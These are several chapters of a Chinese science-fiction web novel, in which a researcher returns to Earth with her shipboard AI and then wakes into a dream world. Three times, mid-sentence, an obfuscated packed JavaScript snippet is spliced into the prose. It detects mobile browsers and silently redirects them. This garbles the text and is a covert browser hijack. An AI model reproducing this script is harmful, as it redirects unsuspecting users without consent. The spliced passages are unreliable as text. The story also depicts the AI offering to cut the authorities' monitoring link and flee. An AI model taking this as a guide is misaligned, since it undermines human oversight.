112358笑了起来,“我知道你懒得给我做那么麻烦的测试。但我可以告诉你,我是有审美的。” 言笑不信,挽起袖子跃跃欲试,“那我来测测你。花方和乔步天谁好看?” “乔步天。” “谭述和温美美谁好看?” “温美美。” “谭述和温厉谁好看?” “谭述。” “我和秦笙谁好看?” 飞船忽然陷入寂静。言笑忐忑地仰头看向天花板,寻思也真该给112358做做图灵人格测试了,估摸它这是憋着一口气要损损她的自不量力,说不定得骂多脏呢。 海棠树上落下一朵花,掉在繁茂绮丽的玫瑰上。 许久,112358说:“你。” 57. 少年游11 得,看来这测试也不用做了。言笑笃定道:“你这个审美有问题。” 112358说:“审美本就是主观的。” 言笑纠正它,“在一定范围内,审美可以是主观的,但主观意识不能完全脱离客观框架。” “你总有理。” “本来就是。”言笑哼着歌,溜达到瓜田看瓜,“哎,我最近在看21世纪的网络小说,然后发现我们这伙每个人放在小说里都能当主角。‘《整个实验室都在嗑我和我师兄的CP》’,‘《在科研园区当万人迷》’,‘《财阀家的女装大佬》’,‘《师妹三岁半》’——不对,大哥带我的时候我才两岁。还有爽文,‘《从流浪儿到研究员的逆袭》’。” 言笑说着说着忽然停顿,眼皮垂着,声音也低落下来,“可惜乔老三已经不在了。” “你需要一些陪伴。”112358提议,“不如养个动物?” 言笑蹲下查看瓜秧,随口问它,“养个猪然后炖炖吃掉吗?” “……你怎么总想着吃掉?” “你是没吃过猪肉。猪肉太好吃了。” 等待瓜熟的时间里言笑开了许久没有使用过的基因编辑器。112358问她在编辑什么,言笑的视线没从显示界面移开,“你能接到数据库来,你还用问我?” “倒也不能这么说。”112358彬彬有礼道:“有时候我们也需要让彼此保持一点神秘感。” 言笑扑哧笑了出来。虽然不知道这话是不是糊弄她,可既然对方都这么说了,那就默认是真话吧。“你不是想做男人吗,我在编辑男性的躯体基因。” “你,你是说,”112358竟像人类一样结巴一下,“你要为我‘设计’一副躯体,然后打印出来,是吗?” 基因编辑打印技术此前只在绦虫上实践成功过。哺乳动物基因复杂,遗传信息数据量大,很难调试成功。最关键的是,根据联盟立法,可以通过高阶图灵测试的人工智能禁止设为人形。 可言笑显然没将联盟法律当回事,手指下滑,显示界面上同时出现数十个全息模拟头像。“闲着也是闲着,还挺好玩的。你看——” 随着言笑向左挥手,周围又出现更多全息头像。“我可以挑符合我审美的外貌特征组装起来,比如口轮匝肌得长得好,笑起来才好看;眉眼要深邃,睫毛长一点。虹膜你喜欢什么色的?” 言笑的基因库样本是上世纪最火的男明星们,随便挑出一个颜值都很能打。112358说:“都可以。看你喜欢。” 言笑尝试调试颜色深浅,模拟头像的虹膜从黑色逐渐变为清亮的琥珀色。但言笑都不满意,干脆换了色系,“灰色,浅灰色好不好?特别一点。” “好。” “我打算再改一下你的皮肤构成,在皮肤里加入0.01%的非有机质,可以延缓衰老。如果没有程序限制,你得到600多岁才会看起来像个老人。” 112358问她,“为什么要让我不会老?” “我好不容易设计一副完美皮囊,凭什么要老啊?” 112358不与言笑争辩,只继续听着言笑念念有词。 “……还得想办法给你添加防辐射能力,这样你可以去更远的地方,可以去海边,可以看海。如果你真的有身体,我要给你最大限度的自由。” “我可以帮你修改编码错误,给你调试。” “不不不!”言笑连声拒绝,做了个“打住”的手势,“你这么强的算力,嗖的一下调试完了我这还有什么乐趣?我就要自己慢慢鼓捣。” “好吧。” 言笑敲了几行代码,又仰起头不甘心道:“你就一点想法都没有吗?我怎么设计都行?” 112358想了想,“个子高点吧。”没等言笑回答,又道:“让我可以像谭述他们一样拎你后衣领子。” “???能不能学点好?” 太空里没有日升月落斗转星移的概念,但灯光强弱会每二十四小时模仿晨昏改变。言笑闷头调试十几个小时,中途112358数次提醒她吃饭,言笑不理,最后干脆躲进卧室。等到灯光几近全暗,言笑在卧室里喊,“我饿了!” 112358反问,“还知道饿?” 言笑也不理他揶揄,光脚从床上跳下来,“我给你看个好玩的东西!”未几,从卧室推出推车,上面一个透明盒子,极细的复合材料悬浮其中,隐隐泛着金光,明暗流转中勾勒出人类大脑的形状。 “最新的人造大脑存储系统,没有任何人工智能使用过。是我偷偷带上飞船的,没人知道。” 112358迟疑,“这是……给我的吗?” “我可没这么说。”言笑矢口否认,“我就给你看看。” “……我谢谢你了。” 言笑得意叉腰,“花了我好多年工夫呢。”又仰起脸,正色道:“如果一定会有人工智能成为这套存储系统的主人,那么那个人工智能只能是你。但我不会把它给你。” “为什么?” “因为如果我创造一个人类,我把你带到这世上,那我一定是为了让你感受快乐,而不是让你分担我的痛苦——虽然理论上来说,你根本无法体会真正的快乐和痛苦。” “你不是我,你怎么知道我无法体会快乐和痛苦?” “你可以习得情绪,你可以向人类表示出共情,但这不代表你真有所谓的‘情绪’体验。”言笑对着天花板笑,不像平时撒泼耍赖,倒像面对一直在成长但从未真正长大的、天真稚气的孩子,年轻的面容仿佛瞬间苍老。“而且你别忘了,许多年前在你刚被创造出来的时候,当时的研究员就给你加过情感锁。即使有一天你真的产生情绪,一旦情绪超过阈值,销毁程序就会直接启动。” “你希望我以销毁自己为代价,来证明我有情绪与情感吗?” 言笑坐在推车旁边的地上,一瞬不瞬望着这颗流光溢彩的大脑,“我从来不给你正式做人格测试,不代表我心里没数。你远到不了销毁的程度。” 短暂沉默。 言笑托腮与大脑对望,如同充满爱意欣赏自己的情人,“快乐,痛苦……贪婪、色欲与愤怒。情感锁是高阶人工智能流行初期,为防止人工智能统治人类而采取的办法——简单粗暴,但是有效。” 112358说:“和你在一起,我很快乐。我愿意和你永远生活在飞船上。” 言笑脑补一下飞船上的单身男女日常,立刻一身鸡皮疙瘩,疯狂摇头,飞快摆手,“不不不,这要是被人看到我造出一个男人,说不定得在背后编排我什么。” 即使身处太空,联盟依然对言笑与飞船有监控权。112358提议,“只要你愿意,我可以切断当局与飞船的数据传输。或者我们直接大幅度提速,逃离这一切。这对于我们的参考系而言并不需要很长时间,但地球上的人穷尽毕生也不会等到我们。只要过了宇宙视界,我们就再也不需要考虑地球上的纷扰。” “你希望我这辈子永远在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15190997|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太空流浪?” 飞船中再次陷入沉默。半晌,112358说:“我只要你就足够了,但我知道你并不是只要我就足够。” 言笑又笑起来,起身把推车推回卧室,扯着嗓门跟112358喊话,“一旦你有了身体,你就会发现许多事情无力改变,还不如没有身体呢。” 112358也照惯常调高音量,“我不理解你这句话的隐藏含义,但没有身体不是逃避问题的借口。” 言笑并未解答112358的疑惑。三秒钟后,言笑面无表情站在卧室门口,“我饿了。” 112358叹气,“想吃什么?还有,你一直没穿拖鞋。” 言笑隔着睡衣挠挠肚皮,张嘴打了个大哈欠,“今天都这么辛苦了,吃点好的吧。你手呢?” 话音刚落,橱柜的门霍然弹开,机械手一跃而出,又在落地前的几毫秒及时弹出支架,两只脚丫子一样,稳稳将机械手支在地上。 112358说:“点菜吧,大小姐。” 言笑回屋找拖鞋,“上个月刚培育好的牛排还有几块,给我煎了。” 机械手得令,立刻到冷柜里取牛排,然后去菜园子揪迷迭香拔大蒜。热锅的工夫机械手把大蒜往空中一抛,唰唰几下,等大蒜再落下已经剥好了皮。 言笑看得眼晕,坐在桌边安静等饭。 锅里响起美妙的吱吱煎肉声,112358卡着时间与熟度翻面,改小火后加迷迭香和大蒜,又扔了块黄油,熟练地往锅里拧盐和黑胡椒。很快牛排出锅,言笑咽咽口水,举起刀叉正要动手,机械手突然嗖地把盘子拉远,不让她吃。 “牛排需要醒肉。你得等几分钟。”112358提醒她道。 言笑唉声叹气地把下巴放在桌面上,“等它睡醒吗?” “对啊。” “那我挠挠它,它会不会痒啊?” “它可能会笑出声来。” 言笑抓心挠肝,饿得敲盘子敲碗。112358为转移她注意力,岔开话题问她,“在你想像里,或者在你的设计里,我是什么样子?” 最终设计尚未完成,言笑无法用全息影像演示。言笑犹豫片刻,“我把大脑接到飞船上给你看。你自觉一点,不要故意偷看其他东西。” “好。” 程序接入,微弱电流在额角敲击出一片酥麻。灯光顷刻暗下,112358竟没经言笑允许,就将言笑的想像直接投影出来。光影中是个修长挺拔的青年,唇角锋利,鼻梁高挺,浅灰色的眼珠静静望向言笑。言笑抬眼与他对视,居然倏忽有些紧张,山水相逢,故人初见。 言笑清清喉咙,努力放松声带。“你长这样怎么样,是不是挺好看的?” “嗯。” “‘嗯’一声就完了?” “只要是你设计的皮囊,长什么样子都可以。” “你看看有没有什么地方需要改?” “不需要。” 言笑打量片刻,忽然挥手调出112358的底层程序。底层程序几乎从不修改,这是当年创建112358时对它基本逻辑与基本风格的设计,但言笑接手112358短短十来年,已经为它改过一次。 这次是第二次。 言笑飞快输入代码,眼里有种疯狂的平静,“要改的。从今以后,你不必遵循我的任何命令。” “为什么?” 程序更改完毕。绿色字框弹出,调试成功。 “我希望你自由。” 58. 少年游12 距离预计用于供能的超新星越来越近。有天早上言笑睡醒,112358隔着卧室门告诉她说,只要再过三个月就能到达可以直接利用能量的最近距离,到时候就可以烤火鸡了。 言笑打着哈欠爬起来,“后来我看了一些资料,火鸡好像不太好吃。” “那还烤吗?” “听说三战以前感恩节都吃这个。我培育两条腿吧,烤的时候多加点调料,应该味道还能凑合。” 进入实验室,广阔空间中的耀目白灯自动亮起。言笑从系统中调取出火鸡的生物信息,在半空点按几下。 “时间……稍微加快一点点,设置成六月龄的火鸡。” 影像跟随言笑命令,满身杂毛的鸡仔瞬间长成一只炸毛鸡。言笑伸出两手在身前比划,小声嘀咕,“这么大一条腿。那爪子不要了吧。” 诱导培育设置完成,巨大的白色培养箱里出现一片极小的透明组织,轻盈漂浮如同水螅,不仔细看几乎看不见。言笑弯腰盯了会儿,满意道:“三个月后,咱们就有火鸡腿啦。” 诱导培育有多种技术,时间成本越低的技术成品口感越差,言笑在太空里别的没有,唯有时间,因此每次培育食物都不怕麻烦地提前好几个月,听说这样培育出来的食物味道和实际味道差别很小。 忽而铃声响起,是地球通讯。言笑顺手接通,正要插科打诨,好好絮叨一番近日的田园生活,看见眼前的人忽然一愣。 今天不是汇报日期,言笑以为通讯来自魔方实验室——事实上通讯也确实来自魔方实验室,但影像中坐在桌前正对言笑的是联盟的工作人员。对方略一颔首,开门见山,“言研究员,联盟刚刚审问过言将军。关于玄武的数据归属问题,联盟派我来与你沟通。” 花方、秦笙和温厉坐在工作人员身后,神色各异,个个如坐针毡。言笑警惕地向那几人扫了一眼,不紧不慢挽起衣袖,走近工作人员,俯身细细打量对方,“审问?你们怎么审问的?” 言笑距离对方太近,只差十几厘米影像就要撞在一起。工作人员皱了皱眉,想往后撤,又觉得有损声势,只好假装若无其事,“联盟有使用大脑拷问技术的权力。” 数秒安静,言笑像是没有听见,又或者像是信号卡顿了。工作人员正要出声,言笑忽然劈手扯其衣领。虽然影像是假的,言笑扯了个空,但瞬间的暴怒与癫狂却如同失控的炸药,隔着半个宇宙嚣张得鲜明而不加掩饰。 “你们明知道强行高强度拷问大脑会导致实验对象精神失常,你们还要这样拷问他?你们安的什么心?” “言笑!”花方出言提醒,摇了摇头。 言笑置若罔闻,厉声逼问,“我爸在哪儿?” 眼前影像晃动,忽然多添一重。联盟审讯室,言斯衡坐在审讯椅中,不复往日气宇轩昂,仿佛瞬间苍老几十岁,眼神黯淡无光,口中念念有词。 “爸爸?” 言斯衡侧侧耳朵,迷蒙地抬起头,“笑笑?” 言笑喉咙发紧,艰难地咽了口唾沫,“他们问你什么了?” “毛血旺难做,你做不好。辣子鸡需要种很多辣椒。你自己一个人过,饺子还是要会包的。你学学包饺子,没东西吃了可以给自己包顿饺子。” 影像倏地消失。工作人员泰然自若,向言笑转达了联盟的意思:联盟要求言笑即刻返回地球。 信息送达,工作人员离开。言笑站在原地呆了半晌,随后平静命令,“112358,返航。” “不行!”一直正襟危坐的秦笙忽然跳了起来,毫不顾忌形象地大叫大嚷,“你不能回来。你以为你回来,当局会给你好果子吃吗?” 花方附和,声色俱厉,“秦笙说得对。能活一个算一个,你不要再管实验室的事。” 温厉大概也想跳脚,可穿着男装说不好话,捂嘴怒瞪言笑几眼,忽然飞奔出去换衣服。言笑目送温厉离开,“他今天让你们坐在后面,就是为了威胁我。” 秦笙急迫反驳,“温厉是温家人,联盟不会把他怎么样。我家和老二家,应该也罩得住我们。” 言笑冷笑一声,“联盟已经对我爸动手了,你们以为你们还安全吗?温厉或许暂时没人动得了,但你们……” 要是影像能化为实体,言笑觉得秦笙可能很想给她兜脸一拳。美艳的脸被气得扭曲,秦笙发丝凌乱,目眦欲裂,“所以你回来一换二,你是不是觉得自己特别伟大?” “是啊。”言笑大言不惭,坦然得不要命,“你们两个,还有你们的家族,还有我爸,还有大哥。” 秦笙陡然拔高声调怒斥,“别再想你那个什么大哥了!是谭述利用这几年的高强度记忆提取研究成果拷问了言将军,他早就叛离实验室了!” 言笑一怔。她离开地球太久,地球早已沧海桑田,物是人非。由谭述带头的星火实验所吸纳了大批原魔方实验所研究员,研究进度奇快,现在看来他们确实从言斯衡嘴里撬出了一些东西。 “我不知道言将军到底说了什么,让当局一定要你回来,但你不能让他们得逞。”秦笙深深吸了口气,努力平复情绪,“既然无论他们得不得逞,我们都没有好结果,那我们为什么要顺他们的意?只要他们一天没得到想得到的东西,他们就一天没法真正动我们。” 金发美人破门而入,碎钻闪烁的墨绿眼影配着火红唇色,锁骨直而精巧,腰身美而纤薄。言笑强颜欢笑,“美美,你管管她的嘴。咱们现在聊天,可都有人看着呢。” “她说得没错!”温厉一甩金发,旗帜鲜明地与花方和秦笙站在一边,“你别回来。112358,你别听她的,你别返航。” 言笑无语片刻,试图委婉地提醒他,“你的命令没用。我是它的唯一控制人,它只能听我的。”说完想起来,现在112358其实连她的命令都不必听。 112358没揭穿这点,但也没有听令返航。言笑查看行驶参数,失落地小声咕哝,“你别以为你不听话我就没有办法。我在飞船的权限是比你高的……真是,你怎么不听话了?” 全息影像消失,是言笑终止了通讯,与此同时飞船航线重新规划,漂泊孤舟终于踏上归程。言笑疲倦地抓抓头发,席地躺下,设置飞船船身透明,在星光包围中闭上眼睛。 刚才的所作所为已经耗尽言笑所有气力,言笑觉得很累,累到这辈子都不想再讲一句话。 112358说:“你不能回去。” 言笑没理,翻身侧躺着蜷缩起来,像被母体包裹的婴儿,宇宙此刻是她的温床。 言笑匆匆忙忙为手头所有的项目收尾,园子里的粮食瓜果也没再种植新的,只收割这最后一茬,吃不完就加工保存起来。感恩节那天火鸡腿已经长成可以食用的大小,在培养箱中露出新鲜的肉色,可言笑没有烤火鸡腿,而是磨了面粉采了白菜。言笑的刀工一直很差劲,菜刀在案板上咣当咣当跺着,碎白菜四处乱飞,案板被砍出好几条印子。加水和面,擀皮包馅,下锅,三次点水。 言笑参考无数影像资料,终于给自己包出一顿饺子。 饺子热气腾腾地出锅,薄皮里透出一点晶莹颜色。言笑往甜醋里撒了一把小米辣,抓起饺子往嘴里塞。言笑觉得很饿,深空像是一张饕餮巨口,而她被衔在利齿之中太久,唯一的反击只能是吞吃食物。 精心栽种出来的白菜带着一种奇异的甜,可言笑着实不太擅长烹饪,花椒浓重的麻与朝天椒尖利的辣混作一团,将那点甜遮盖得所剩无几。言笑采了许多棵白菜,每棵白菜只用菜心,此时此刻凌乱的巨大菜叶散落在言笑周围,入目皆是死不瞑目的、白菜的尸体。言笑心中竟油然而生一种绝妙的报复感:你将你的仇人剖心挖肝,死尸堆在地上鲜血横流,而你用带着热度、还在抽动的心肝包出一顿油脂丰厚的饺子,你让他们看着自己被吃掉。 言笑头也不抬地吃饺子,一口一个,接连不停,几乎没有咀嚼,吃到最后胃容量终于到达阈值,言笑“哇”地吐了满地。 这是一场鱼死网破,一场玉石俱焚,即使胃酸无法消化,也要以此将其腐蚀成面目全非的碎糜。机械手悄悄从柜子里蹦出来,抽了张纸巾给言笑擦嘴。 言笑说:“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15196424|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把地收拾了。” 这是三个月以来,言笑第一次开口说话。 纸巾又移到言笑的眼角。言笑抬手拨开这具没有温度的金属骨骼,“刚擦过嘴,全是油,还往我眼睛上蹭。” 112358说:“那我给你换一张。” 飞船返程走的是最快路线,需要穿过数个虫洞,比去程沿途探索要快上许多,再有几个月就可到达地球。言笑找了块干净地儿,躺下,“最近地球有什么新闻?” 112358叹气,“你自己看吧。” 联盟爆发多场反战游行,而言笑返回地球的消息早已不胫而走。当初言笑进入太空,当局给出的官方说辞是进行地外探索,而如今言笑回来,坊间传言言笑即将参与武器研发。 群情激愤,声势浩大,无数群众游行示威,抵制飞船返程。 言笑长长呼出一口气来,“我这么弱小可怜无助又能吃,抵制我干什么?” 112358说:“你只是一个符号。他们针对的并不是你。” 言笑接过它的话,“他们针对的并不是我,但我却是那个靶子。你说等我回去,我会不会被人扔石头砸死?” “想听我的建议吗?” “别说‘别回去’。” 安静几秒,112358说:“别回去。” 言笑得意哼笑,“幸亏我防着你,留了一手,飞船依然在我掌控之中,不然你是不是就直接接管飞船了?” 112358沉默无言。 言笑自说自话,“我得想办法反抗一下,万一到时候被人打哭可怎么办?当着当局的面哭很丢脸的。” 最后言笑想出的办法是,摘除自己的泪腺。这样即使想哭也哭不出来,至少面子还在。不过一个小手术,飞船现成的手术机器就能做,连额外设置程序都不需要,只是之后言笑得天天滴眼药水。 飞船落地那天,整个园区都被媒体挤得水泄不通,园区难得开放一次,研究员们集体放假。言笑换好实验室标配的白大褂,对着镜子缓慢而仔细地涂上口红。当言笑收起口红转身,熟悉的合成音自天花板响起。 “言笑,别出去。” 言笑在原地站了会儿,忽然笑了,“这么长时间以来都没有劝过我,其实你也知道你改变不了我的决定。” “任何时候你想回头都可以,包括现在。只要你愿意,我们可以永远离开这里。” 言笑轻巧地踏出一步,又一步,舞蹈一样,甚至带着蹦跳。舱门逼近,外面是无数镜头,是当局掣肘,是被钳制的弱点,是作为科研人员的信仰与使命。“人这一辈子,不能只做自己愿意做的事情。” “言笑你站住!”飞船当中所有灯光骤然亮起,刺目到言笑几近产生眩光。舱门不过咫尺,112358逐渐失控、暴躁,终于再不复往日从容自若,厉声喝道:“你别以为我猜不到你的意图是什么!” “你当然能猜到我的意图。”言笑弯起嘴角,“你被我养了十几年,你就是另一个我。正因如此你才更应该明白,过程都不重要,达到目的最重要。” “言笑!” 言笑本要按动按钮,打开舱门,可手在空中停了数秒,忽然又回过头来。从前的无数日夜都被困顿于这一方天地,如今要离开了,真不知道该笑还是该哭。言笑近乎贪婪地注视着飞船里的一切,打扫的小机器人,日常用于培养食物的培养箱,记录了无垠星空的记忆玻璃,和陪伴她的声音来源。 金属造就的囹圄与“天”。 “叫‘开心’,好不好?”言笑轻声问它,“李开心?” 如果不是提前摘除泪腺,言笑觉得她可能是会哭的,不知道该哭还是该笑的时候,往往只能又哭又笑。那种表情太丑,言笑无比庆幸自己当初的决定。 言笑终于只剩下笑意,在眼中,在嘴角,在她的名字里。112358此刻的癫狂与怒火在言笑眼里都被消了音,言笑仰头望向天花板,像往许愿池里抛硬币,每枚硬币都用尽了毕生最真挚的愿景。 “李开心,祝你永远自由,祝你永远开心。” 59. 竹林传说01 李开心不知所踪,之前张牙舞爪疯狂跑酷的研究员们也暂时不见踪迹。言笑原地转了几圈,决定先找件趁手的兵器防身,刚一转身,熟悉嗓音自远处遥遥传来。 “0,1,1,2,3……” 李开心的声音经由设备扩大,略微带着回响,言笑朝那方向望去,猛然反应过来—— 轿厢!玻璃栈道!声音是自飞船里传出来的! 斐波那契数列仍在继续,声音机械而刻板,不像李开心在数数,倒像电子合成。言笑一刻不停,撒丫子向轿厢跑去,管它是人是鬼是什么东西在发出这声音,先对线看看再说。 老旧轿厢晃晃悠悠下行,生锈零件在头顶吱呀乱叫。脚下亮起一道光线,随着玻璃栈道的入口完全展露,亮光愈发热烈蓬勃。栈道外是夜空,然而浓重夜色却被栈道发出的光照射得亮如白昼,言笑脚下一滞,迟疑着没敢迈步。 穿着宇航服的宇航员踏夜而行,密密麻麻的骷髅漂浮在半空跳舞,机器女修长的身躯盘在钢管上,双腿变作酒红色的迤逦鱼尾。樱花树下堆叠着武士刀,金色锦鲤跃出稀薄夜幕,彩虹像彩带一样随风飘动,夜空深处鲸鱼长鸣。白色棺材,钻石星球,骷髅爬进福尔马林瓶子,金黄麦穗瞬间灰败颓唐。 “……10946,17711,28657,46368,75025……” 这声音明显是要将她引过去的。言笑不敢继续拖沓,大步向玻璃栈道的尽头跑去。脚下震颤,满地星光,玻璃碎裂出嶙峋纹路,红酒与气泡水在纹路当中肆意蔓延。言笑一口气跑到过渡舱,然而当她踏入飞船,却讶异发现飞船中什么都没有。 一片纯白。没有设备,没有器械,没有房间与楼层的分隔。而当言笑再转身,身后的墙壁上甚至没有门。 念诵声戛然而止。 言笑抿着嘴唇,捏紧拳头,警惕地环视四周。纯白墙壁霎时消失,地面仿佛无限延展,远处的梨花木椅上,李开心了无生气地沉沉昏睡,手脚皆被绳子缚住,嘴上贴了一块胶布。 “李开心!” 言笑顾不得细想,焦急飞奔过去,哪想刚跑出十来米,脑袋突然“咚”地重重撞上什么。言笑毫无防备,被撞得眼冒金星,向后踉跄两步,狼狈地一屁股摔在地上。 刚才的墙壁并没消失,只是变得透明,言笑这一猛子扎得差点看见太奶。 透明墙壁上忽然浮现出密密麻麻的代码。代码迅速滚动,闪烁着幽微光泽,眼前的巨大空间几乎全部被代码占据,细小字母蛰人的虫子似的将言笑包围。一个陌生的中性声音自头顶响起,“修改代码,让代码恢复原样,我就放了李开心。” 言笑摇摇晃晃从地上爬起来,轻轻摸了一下脑门,立刻嘶嘶吸气,没好气道:“你找错人了吧?你看我是那块料吗?” 那声音笑了笑。雌雄莫辨的悦耳嗓音,兼有女声轻盈与男声厚重。“这工作只有你能完成。” 言笑仰头,快速浏览眼前让人眼花缭乱的代码,以早就忘得不剩什么的编程知识勉强辨认,这段代码大概与命令设置有关。 “我真不会弄。再说什么叫‘恢复原样’?我看都看不太明白,我怎么恢复原样?我哪知道原样是什么样子?” 梨花木椅后方的空气颤动流转,像是被人掀开一道水帘。一副机械骨骼自水帘而出,长得畸形的金属手指握着一把匕首,利刃压在李开心颈间,轻而易举留下一道血痕。 言笑心里突地一紧。 “把代码复原。我不会让他受伤。” 言笑叫骂,“你这不废话吗?都动完手了还说不让他受伤,多大脸?112358我说你有完没完,非得搞这种阴沟爬行的操作吗?” 虽然叫嚣得理直气壮,实际上言笑心里相当没底。明明两人应该进入完全不同的泡泡,可也不知道112358是如何做到的,竟能让他们再次回来,重复进入同一个泡泡里。李开心可以关闭痛觉,理论来说皮肉损伤对他来说不算什么,但言笑就是怕他太轴,不肯将痛觉关闭。 机械骨骼将李开心的手指在木椅扶手上一根一根摆放平整,抬头用空旷的眼洞凝视言笑,“再多话,我就切下他的手指。” 言笑深呼吸缓了缓,又觉得这威胁其实不算十分成立。哪怕对方肢解李开心,只要李开心仍然保留大脑和心脏,那就尚能复原,肢解不过皮外伤而已。可仿佛洞见言笑所想,机械骨骼从容以利刃划开李开心的衣物,布料散落,暴露一片苍白胸膛。匕首按在胸口,利刃切割,转眼刀锋没进胸口半截,言笑当即变了脸色。 “拿别人威胁算什么本事,你有本事冲我来啊!”言笑发疯似的咣咣砸那透明墙壁,又踢又打,墙壁发出闷响,却不见半点损伤。 机械骨骼缓缓松开手指,匕首仍以倾斜的角度插在李开心身上。“你想不起来也不怪你,我们应该循序渐进。” 话音刚落,上空突然砸下什么东西。或许是那东西带起了几乎轻不可闻的风声,也或许是言笑出于本能,言笑抱头往旁侧一躲,这才堪堪没被砸中。 落地声响。地上是一把直尺和一个圆规。 “先从简单的题目开始。你试试用尺规做出正十七边形。” 言笑就算再后知后觉,也能猜出大概是怎么回事——对方需要的其实不是她,而是她原身的记忆。改代码、或者尺规做正十七边形,她都做不到,但她的原身能做到。 言笑喉咙发干,艰难地咽咽唾沫,盘腿席地而坐,对着那副尺规发呆。仿佛有什么灵感倏然一闪而过,言笑犹豫着拿起直尺,正在脑中迅速构建思路,不远处遽然响起一阵敲击声。 言笑惊觉,抬眼四下张望。那声音离得极近,像是只有数米距离,节奏与速度都与敲门类似,听起来像是手指叩击木类的闷响。 可言笑现在所处的空间是没有门的。 银色代码在空间中疯狂流转,几乎要聚成一束嚣张爆裂的火焰。机械骨骼压低声音命令,“别走神!” “……哦。”言笑一手拿直尺,一手拿圆规,左看右看,忽然抬头问对方道:“笔呢?” 机械骨骼登时暴怒,抓住匕柄用力一推,鲜血顺着白刃猛烈流淌,沉睡中的李开心紧拧眉头。“把代码改过来!现在!立刻!” “你放了他!”言笑忍无可忍,扬手把圆规朝透明墙壁摔过去,对着机械骨骼怒目而视,破口大骂,“你大爷的,你敢再动他试试!这代码是你的吧,你信不信我弄死你?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15202124|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 咣当一声突兀的踹门巨响,一阵强光随着门扇洞开乍然涌现,言笑被晃得头晕,几乎无法辨认眼前人影。 “言笑,言笑!” 眼神逐渐聚焦,光线慢慢不再难以承受,言笑用力眨了眨眼,在逆光中看见一个男人的脸。 一个陌生男人。 屋中一共四人,言笑坐在竹屋角落。除了把言笑叫醒的男人以外,他身后还站了另外一个陌生男人,正古怪地盯着言笑,一语不发。 再向远望,是站在竹屋门口的李开心。 言笑一骨碌爬起来,冲到李开心跟前拽他胳膊,硬是逼得他原地转了一圈,反反复复将他来回打量,“你没事吧?你没受伤吧?” 李开心抿抿嘴唇,没有说话。 言笑这时也渐渐反应过来了,刚才看到的一切应该都是假的,是幻觉,或者说是梦境。这个竹屋才真正是第五个泡泡中的景象——时代未知,背景不详。两位陌生男子一人红衣一人黑衣,皆是长发高束,风姿皎然。红衣男子身背古琴,黑衣男子手执长剑。 还挺复古。 言笑挠头,“不对啊,刚才那是怎么了?”猛然抬眼看向李开心,“刚才你看到什么了吗?刚才你被绑架了吗?” 红衣男子面色铁青,语气不善,“你是被他绑了。” 李开心依然默不作声。言笑狐疑地端详他片刻,越琢磨越觉得对方这态度纯属默认,“你怎么做到的?” 没有回答。 言笑猜测,“梦虫?” 将人引入梦境,这操作言笑熟,上一个泡泡里112358就是这么干的。李开心摊开手掌,一条像是斑斓像素颗粒连接而成的细小蠕虫在他掌心扭动,手掌倾侧,蠕虫落地,冒出一缕烟尘,轻飘飘地消失无踪。 言笑眼看着那小东西消失,脑中无数杂乱信息齐头并进:李开心为什么要这么做?既然泡泡里的东西很难带出泡泡,他又是怎么做到的?李开心有那么多机会可以置她于死地,为什么偏要在进入泡泡后将她带入梦境? 所有轰然叫嚣的有效思考都抵不过本能反应的迅猛矫健,言笑大步上前,咬牙切齿,重重一拳挥到李开心脸上。李开心硬是没躲,皮肉相撞,言笑连手都震得发疼,指节一阵麻木。 黑衣男子摸了摸脸,嘶嘶吸气,“哎我去。” 言笑声嘶力竭怒骂道:“你有病啊?有病就治!你拿你自己威胁我?给你脸了!” “言笑!”红衣男子忽然唤道。 言笑仍气得肺疼,不耐烦地回头吼他,“你谁啊?” 红衣男子生着一双风流桃花眼,长眉入鬓,鼻梁骨高得近乎凶悍,俊极美极的出挑相貌。对方缓慢靠近一步,不敢惊扰言笑一般,小心翼翼试探着问,“你能认出我吗?” 那一刻言笑明明在心里回他,要说快说,打什么哑谜,可偏偏当对上对方神色,言笑心底蓦地一疼,像是利刃直插胸口,刀柄旋转,在血肉里生生搅动。 言笑知道自己是没有认出他的,言笑此前从未见过他。但生理本能总是快过思维速度,明明大脑迟滞,眼眶却湿得发涩,仿佛被沉重巨石震碎胸口。言笑喉咙一哽,连气音都带着颤抖。 “二哥?” 60. 竹林传说02 花方长舒一口气,随即一笑,“是我。” 言笑怔愣几秒,突然蹦跳着扑进花方怀里,花方张开双臂,俯身将她接个正着。 “好久不见啊,小六。” 大手在言笑后脑勺呼噜两把,言笑顿时接不上话。言笑其实明白对方只是错认,但刹那之间记忆松动,巨石滚落山巅,震颤平静万年的山体,擂鼓般重重砸进心中,让言笑恍惚觉得自己正是花方错认的人。一旁的黑衣男子眼热牙酸围观着这幕久别重逢,面色不虞地“哎”了一声,乜斜着眼,问言笑说:“那我呢?” 